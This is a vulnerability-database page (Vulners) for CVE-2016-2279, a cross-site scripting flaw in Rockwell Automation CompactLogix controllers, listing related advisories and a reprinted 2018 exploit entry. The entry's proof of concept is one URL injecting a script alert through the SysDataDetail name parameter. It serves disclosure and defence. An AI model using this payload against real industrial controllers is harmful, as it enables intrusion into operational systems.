Vulners
Lucene search
Rockwell Scada System 27.011 - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | Rockwell Scada System 27.011 - Cross-Site Scripting Vulnerability | 16 May 201800:00 | – | zdt |
 | Rockwell Automation/Allen-Bradley CompactLogix 1769-Lx < 28.011 XSS | 8 May 201900:00 | – | nessus |
| Rockwellautomation Compactlogix Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 8 Nov 201900:00 | – | nessus |
| Rockwell Automation Allen-Bradley CompactLogix Reflective Cross-Site Scripting (CVE-2016-2279) | 7 Feb 202200:00 | – | nessus |
 | Rockwell Automation Allen-Bradley CompactLogix Cross-Site Scripting Vulnerability | 3 Mar 201600:00 | – | cnvd |
 | Rockwell Automation Allen-Bradley CompactLogix Cross-Site Scripting (CVE-2016-2279) | 31 Oct 201800:00 | – | checkpoint_advisories |
 | CVE-2016-2279 | 2 Mar 201611:00 | – | cve |
 | CVE-2016-2279 | 2 Mar 201611:00 | – | cvelist |
 | EUVD-2016-3363 | 7 Oct 202500:30 | – | euvd |
 | Rockwell Scada System 27.011 - Cross-Site Scripting | 16 May 201800:00 | – | exploitpack |
10
# Exploit Title: Rockwell Scada System - Cross-Site Scripting
# Date: 2018-05-16
# Exploit Author: t4rkd3vilz
# Vendor Homepage: https://rockwellautomation.com/
# Software Link: http://compatibility.rockwellautomation.com/Pages/MultiProductDownload.aspx?famID=4
# Version: 1769-L16ER-BB1B, Version 27.011 and earlier, 1769-L18ER-BB1B, Version 27.011 and earlier,
# 1769-L18ERM-BB1B, Version 27.011 and earlier, 1769-L24ER-QB1B,
# Version 27.011 and earlier, 1769-L24ER-QBFC1B
# Version 27.011 and earlier, 1769-L27ERM-QBFC1B, Version 27.011 and earlier
# 1769-L30ER Version 27.011 and earlier, 1769-L30ERM, Version 27.011 and earlier,
# 1769-L30ER-NSE, Version 27.011 and earlier
# 1769-L33ER Version 27.011 and earlier, 1769-L33ERM, Version 27.011 and earlier, 1769-L36ERM, Version 27.011 and earlier
# 1769-L23E-QB1B, Version 20.018 and earlier (Discontinued June 2016), and 1769-L23E-QBFC1B, Version 20.018 and earlier
# (Discontinued June 2016).
# Tested on: Windows Machine and Chrome,Firefox explorer
# CVE : CVE-2016-2279
# PoC
http://TargetIP/rokform/SysDataDetail?name=<<script>alert(1);</script>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
16 May 2018 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 3.16.1
EPSS0.00546
SSVC